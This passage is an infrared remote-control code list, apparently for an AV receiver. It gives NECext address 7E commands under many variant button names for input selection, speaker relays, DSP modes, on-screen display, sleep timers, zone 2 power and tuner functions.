INPUT_MODE:_DIGITAL -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A9 00 00 00 -# -name: MZ:_AUDIO_OPT/COX -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A9 00 00 00 -# -name: AUDIO_SEL_COAX/OPT -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A9 00 00 00 -# -name: AUDIO_SEL:_OPT/COAX -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A9 00 00 00 -# -name: INP-A_COAX/OPT -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A9 00 00 00 -# -name: AUDIO_SELECT:_COAX -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A9 00 00 00 -# -name: AUDIO_SELECT:_OPTIC -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A9 00 00 00 -# -name: MZ:_AUD_SEL_CX/OP -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A9 00 00 00 -# -name: INPUT_MODE_DIGITAL -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A9 00 00 00 -# -name: VIDEO_PRESET_6 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A9 00 00 00 -# -name: AUDIO_SELECT_ANALOG -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: AA 00 00 00 -# -name: INPUT_MODE:_ANALOG -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: AA 00 00 00 -# -name: INPUT_MODE_ANALOG -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: AA 00 00 00 -# -name: AUDIO_SEL:_ANALOG -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: AA 00 00 00 -# -name: INP-A_ANALOG -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: AA 00 00 00 -# -name: HDMI_OUT_1_AND_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: AA 00 00 00 -# -name: AUDIO_SELECT:_ANALO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: AA 00 00 00 -# -name: INP_MODE_ANALOG -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: AA 00 00 00 -# -name: MZ:_AUD_SEL_ANALOG -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: AA 00 00 00 -# -name: HDMI_OUT_1_&_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: AA 00 00 00 -# -name: HDMI_OUT_1_&_2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: AA 00 00 00 -# -name: SP_RELAY_A_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: AB 00 00 00 -# -name: SPKR_RELAY_A_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: AB 00 00 00 -# -name: SPEAKER_RELAY_A_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: AB 00 00 00 -# -name: MZ:_SPKR_A_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: AB 00 00 00 -# -name: FRONT_SP_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: AB 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: AB 00 00 00 -# -name: SPEAKERS_A:_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: AB 00 00 00 -# -name: MAIN:_SPEAKER_A_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: AB 00 00 00 -# -name: SPKR_RELAY_A_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: AB 00 00 00 -# -name: OUTPUT_FRONT_SP_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: AB 00 00 00 -# -name: MZ:_SPEAKER_A_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: AB 00 00 00 -# -name: SP_RELAY_A_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: AC 00 00 00 -# -name: SPKR_RELAY_A_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: AC 00 00 00 -# -name: SPEAKER_RELAY_A_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: AC 00 00 00 -# -name: MZ:_SPKR_A_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: AC 00 00 00 -# -name: FRONT_SP_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: AC 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: AC 00 00 00 -# -name: SPEAKERS_A:_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: AC 00 00 00 -# -name: MAIN:_SPEAKER_A_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: AC 00 00 00 -# -name: SPKR_RELAY_A_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: AC 00 00 00 -# -name: OUTPUT_FRONT_SP_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: AC 00 00 00 -# -name: MZ:_SPEAKER_A_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: AC 00 00 00 -# -name: SP_RELAY_B_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: AD 00 00 00 -# -name: SPKR_RELAY_B_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: AD 00 00 00 -# -name: SPEAKER_RELAY_B_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: AD 00 00 00 -# -name: MZ:_SPKR_B_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: AD 00 00 00 -# -name: SPEAKERS_B:_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: AD 00 00 00 -# -name: MAIN:_SPEAKER_B_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: AD 00 00 00 -# -name: SPKR_RELAY_B_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: AD 00 00 00 -# -name: MZ:_SPEAKER_B_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: AD 00 00 00 -# -name: SP_RELAY_B_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: AE 00 00 00 -# -name: SPKR_RELAY_B_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: AE 00 00 00 -# -name: SPEAKER_RELAY_B_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: AE 00 00 00 -# -name: MZ:_SPKR_B_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: AE 00 00 00 -# -name: SPEAKERS_B:_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: AE 00 00 00 -# -name: MAIN:_SPEAKER_B_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: AE 00 00 00 -# -name: SPKR_RELAY_B_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: AE 00 00 00 -# -name: MZ:_SPEAKER_B_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: AE 00 00 00 -# -name: PRGRM_CHAMBER -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: AF 00 00 00 -# -name: DSP_CHAMBER -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: AF 00 00 00 -# -name: DSP:_CHAMBER -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: AF 00 00 00 -# -name: DSP_CLASS_CHAMBER -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: AF 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: AF 00 00 00 -# -name: REMOTE_CTRL_CODE_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: AF 00 00 00 -# -name: DSP:_CHAMBER -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: AF 00 00 00 -# -name: ONSCREEN_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B0 00 00 00 -# -name: ON_SCREEN_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B0 00 00 00 -# -name: OSD_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B0 00 00 00 -# -name: MZ:_OSD_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B0 00 00 00 -# -name: DSP:_CHAMBER -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B0 00 00 00 -# -name: DISP_DISPLAY_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B0 00 00 00 -# -name: ON_SCREEN:_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B0 00 00 00 -# -name: MAIN:_OSD_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B0 00 00 00 -# -name: OSD_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B0 00 00 00 -# -name: MZ:_DISPLAY_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B0 00 00 00 -# -name: SRCE:_MZ_DISPL_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B0 00 00 00 -# -name: ONSCREEN_SHORT -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B1 00 00 00 -# -name: ON_SCREEN_SHORT -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B1 00 00 00 -# -name: OSD_SHORT -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B1 00 00 00 -# -name: MZ:_OSD_SHORT -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B1 00 00 00 -# -name: ON_SCREEN:_SHORT -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B1 00 00 00 -# -name: MAIN:_OSD_SHORT -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B1 00 00 00 -# -name: OSD_SHORT -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B1 00 00 00 -# -name: ONSCREEN_FULL -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B2 00 00 00 -# -name: ON_SCREEN_FULL -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B2 00 00 00 -# -name: OSD_FULL -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B2 00 00 00 -# -name: MZ:_OSD_FULL -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B2 00 00 00 -# -name: MZ:_OSD_FULL -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B2 00 00 00 -# -name: DISP_DISPLAY_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B2 00 00 00 -# -name: ON_SCREEN:_FULL -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B2 00 00 00 -# -name: MAIN:_OSD_FULL -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B2 00 00 00 -# -name: OSD_FULL -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B2 00 00 00 -# -name: MZ:_DISPLAY_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B2 00 00 00 -# -name: SRCE:_MZ_DISPL_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B2 00 00 00 -# -name: SLEEP_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B3 00 00 00 -# -name: MZ:_SLEEP_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B3 00 00 00 -# -name: SLEEP:_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B3 00 00 00 -# -name: SLEEP_OFF_ALL -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B3 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B3 00 00 00 -# -name: MAIN:_SLEEP_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B3 00 00 00 -# -name: SLEEP_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B3 00 00 00 -# -name: AZ:_SLEEP_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B3 00 00 00 -# -name: SLEEP_120 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B4 00 00 00 -# -name: MZ:_SLEEP_120 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B4 00 00 00 -# -name: SLEEP:_120 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B4 00 00 00 -# -name: SLEEP_120_ALL_ZONES -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B4 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B4 00 00 00 -# -name: MAIN:_SLEEP_120 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B4 00 00 00 -# -name: SLEEP_120 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B4 00 00 00 -# -name: AZ:_SLEEP_120MIN -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B4 00 00 00 -# -name: SLEEP_90 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B5 00 00 00 -# -name: MZ:_SLEEP_90 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B5 00 00 00 -# -name: SLEEP:_90 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B5 00 00 00 -# -name: SLEEP_90_ALL_ZONES -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B5 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B5 00 00 00 -# -name: MAIN:_SLEEP_90 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B5 00 00 00 -# -name: SLEEP_90 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B5 00 00 00 -# -name: AZ:_SLEEP_90MIN -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B5 00 00 00 -# -name: SLEEP_60 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B6 00 00 00 -# -name: MZ:_SLEEP_60 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B6 00 00 00 -# -name: SLEEP:_60 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B6 00 00 00 -# -name: SLEEP_60_ALL_ZONES -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B6 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B6 00 00 00 -# -name: MAIN:_SLEEP_60 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B6 00 00 00 -# -name: SLEEP_60 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B6 00 00 00 -# -name: AZ:_SLEEP_60MIN -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B6 00 00 00 -# -name: SLEEP_30 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B7 00 00 00 -# -name: MZ:_SLEEP_30 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B7 00 00 00 -# -name: SLEEP:_30 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B7 00 00 00 -# -name: SLEEP_30_ALL_ZONES -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B7 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B7 00 00 00 -# -name: MAIN:_SLEEP_30 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B7 00 00 00 -# -name: SLEEP_30 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B7 00 00 00 -# -name: AZ:_SLEEP_30MIN -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B7 00 00 00 -# -name: EX/ES_MTRX_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B8 00 00 00 -# -name: 6.1/ES_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B8 00 00 00 -# -name: 6.1/ES_MATRIX_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B8 00 00 00 -# -name: DSP:_EX/ES_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B8 00 00 00 -# -name: EXTD_SUR_EX/ES_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B8 00 00 00 -# -name: EXT_SUR:_EX/ES_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B8 00 00 00 -# -name: DSP_EX_SUR_EX/ES -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B8 00 00 00 -# -name: EXTED._SURR._ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B8 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B8 00 00 00 -# -name: DSP:_EX/ES_MTRX -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B8 00 00 00 -# -name: EX/ES_MATRIX_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B8 00 00 00 -# -name: EXTED_SUR._ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B8 00 00 00 -# -name: DECOD:_E_EX/ES -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B8 00 00 00 -# -name: EXTED_SUR_EX/ES -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B8 00 00 00 -# -name: EXTED_SUR_EX/ES -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B8 00 00 00 -# -name: EX/ES_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B9 00 00 00 -# -name: 6.1/ES_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B9 00 00 00 -# -name: DSP:_EX/ES_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B9 00 00 00 -# -name: DSP:_EX_ES_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B9 00 00 00 -# -name: DSP:_EX_SURR._OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B9 00 00 00 -# -name: EXTD_SUR_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B9 00 00 00 -# -name: DSP:_EX/6.1/ES_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B9 00 00 00 -# -name: EXT_SUR:_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B9 00 00 00 -# -name: DSP_EX_SUR_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B9 00 00 00 -# -name: EXTED._SURR._OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B9 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B9 00 00 00 -# -name: DSP:_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B9 00 00 00 -# -name: EX/ES_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B9 00 00 00 -# -name: EXTED_SUR._OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B9 00 00 00 -# -name: DECOD:_E_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B9 00 00 00 -# -name: EXTED_SUR_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B9 00 00 00 -# -name: EXTED_SUR_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B9 00 00 00 -# -name: Z2_POWER_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: BA 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: BA 00 00 00 -# -name: Z2:_POWER_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: BA 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: BA 00 00 00 -# -name: ZONE2_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: BA 00 00 00 -# -name: ZONE_2:_POWER_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: BA 00 00 00 -# -name: ZONE_2_POWER_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: BA 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: BA 00 00 00 -# -name: ZONE2:_POWER_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: BA 00 00 00 -# -name: Z2_POWER_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: BA 00 00 00 -# -name: ZONE2_POWER_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: BA 00 00 00 -# -name: Z2:_POWER_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: BA 00 00 00 -# -name: Z2_POWER_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: BB 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: BB 00 00 00 -# -name: Z2:_POWER_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: BB 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: BB 00 00 00 -# -name: POWER_OFF_(STANDBY) -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: BB 00 00 00 -# -name: POWER_OFF/STNDBY -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: BB 00 00 00 -# -name: ZONE_2_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: BB 00 00 00 -# -name: ZONE2_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: BB 00 00 00 -# -name: ZONE_2:_POWER_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: BB 00 00 00 -# -name: ZONE_2_STANDBY -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: BB 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: BB 00 00 00 -# -name: Z2:_STANDBY -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: BB 00 00 00 -# -name: ZONE2:_POWER_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: BB 00 00 00 -# -name: Z2_POWER_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: BB 00 00 00 -# -name: ZONE2_POWER_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: BB 00 00 00 -# -name: Z2:_STAND_BY -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: BB 00 00 00 -# -name: Z2:_STAND_BY -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: BB 00 00 00 -# -name: TUNER_FM -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: BC 00 00 00 -# -name: TUNER:_FM -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: BC 00 00 00 -# -name: INP_FM -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: BC 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: BC 00 00 00 -# -name: TUNER:_FM_BAND -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: BC 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: BC 00 00 00 -# -name: TUNER:_BAND_FM -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: BC 00 00 00 -# -name: TUN_FM -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: BC 00 00 00 -# -name: OPERATION_FM -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: BC 00 00 00 -# -name: FM/AM_FM -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: BC 00 00 00 -# -name: TUNER_AM -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: BD 00 00 00 -# -name: TUNER:_AM -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: BD 00 00 00 -# -name: INP_AM -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: BD 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: BD 00 00 00 -# -name: TUNER:_AM_BAND -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: BD 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: BD 00 00 00 -# -name: TUNER:_BAND_AM -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: BD 00 00 00 -# -name: TUN_AM -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: BD 00 00 00 -# -name: OPERATION_AM -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: BD 00 00 00 -# -name: FM/AM_AM -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: BD 00 00 00 -# -name: TUNER_AUTO_TUNE_+ -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: BE 00 00 00 -# -name: AUTO_TUNING_+ -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: BE 00 00 00 -# -name: TUNER_AUTO_TUNE_UP -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: BE 00 00 00 -# -name: TUNER:_AUTO_TUNE_(+) -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: BE 00 00 00 -# -name: TUNER:_AUTO_TUNE_+ -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: BE 00 00 00 -# -name: AUTO_TUNE_+ -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: BE 00 00 00 -# -name: TUNER:AUTO_TUNING+ -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: BE 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: BE 00 00 00 -# -name: TUNER:_AUTOTN_UP -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: BE 00 00 00 -# -name: TUNER:_AUTO_TUNE_UP -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: BE 00 00 00 -# -name: TUN_AUTO_TUN_UP -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: BE 00 00 00 -# -name: OPERATION_TUNE_+ -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: BE 00 00 00 -# -name: TUNER:_AUTO_TUN_UP -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: BE 00 00 00 -# -name: FM/AM_AUTO_TUNE_UP -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: BE 00 00 00 -# -name: AUTO_TUNE_+ -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: BE 00 00 00 -# -name: TUNER_AUTO_TUNE_- -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: BF 00 00 00 -# -name: AUTO_TUNING_- -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: BF 00 00 00 -# -name: TUNER_AUTO_TUNE_DN -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: BF 00 00 00 -# -name: TUNER:_AUTO_TUNE_(-) -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: BF 00 00 00 -# -name: TUNER:_AUTO_TUNE_- -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: BF 00 00 00 -# -name: AUTO_TUNE_- -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: BF 00 00 00 -# -name: TUNER:AUTO_TUNING- -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: BF 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: BF 00 00 00 -# -name: TUNER:_AUTOTN_DN -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: BF 00 00 00 -# -name: TUNER:_AUTO_TUNE_DN -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: BF 00 00 00 -# -name: TUN_AUTO_TUN_DN -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: BF 00 00 00 -# -name: OPERATION_TUNE_- -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: BF 00 00 00 -# -name: TUNER:_AUTO_TUN_DN -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: BF 00 00 00 -# -name: FM/AM_AUTO_TUNE_DOWN -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: BF 00 00 00 -# -name: AUTO_TUNE_- -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: BF 00 00 00 -# -name: PRGRM_2CH_STEREO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: C0 00 00 00 -# -name: DSP:_2CH_STEREO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: C0 00 00 00 -# -name: DSP_2CH_STEREO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: C0 00 00 00 -# -name: DSP_STEREO_2CH -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: C0 00 00 00 -# -name: 2_CH_STEREO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: C0 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: C0 00 00 00 -# -name: DSP:_2-CHANNEL -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: C0 00 00 00 -# -name: DSP_2-CH_STEREO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: C0 00 00 00 -# -name: DSP:_2CH_STEREO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: C0 00 00 00 -# -name: PRGRM_DIRECT_STEREO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: C1 00 00 00 -# -name: DSP:_DIRECT_STEREO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: C1 00 00 00 -# -name: DSP:_2CH_DIRECT -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: C1 00 00 00 -# -name: DSP:_THX_CINEMA -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: C2 00 00 00 -# -name: DECOD:_THX_CINU2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: C2 00 00 00 -# -name: DSP:_THX_MUSIC -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: C3 00 00 00 -# -name: DECOD:_THX_MUSIC -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: C3 00 00 00 -# -name: DSP:_THX/MUSIC -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: C3 00 00 00 -# -name: DSP:_HALL_USA_A -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: C4 00 00 00 -# -name: DSP:_HALL_F -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: C4 00 00 00 -# -name: DSP:_HALL_USA_B -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: C5 00 00 00 -# -name: DSP:_HALL_G -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: C5 00 00 00 -# -name: DSP:_HALL_H -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: C6 00 00 00 -# 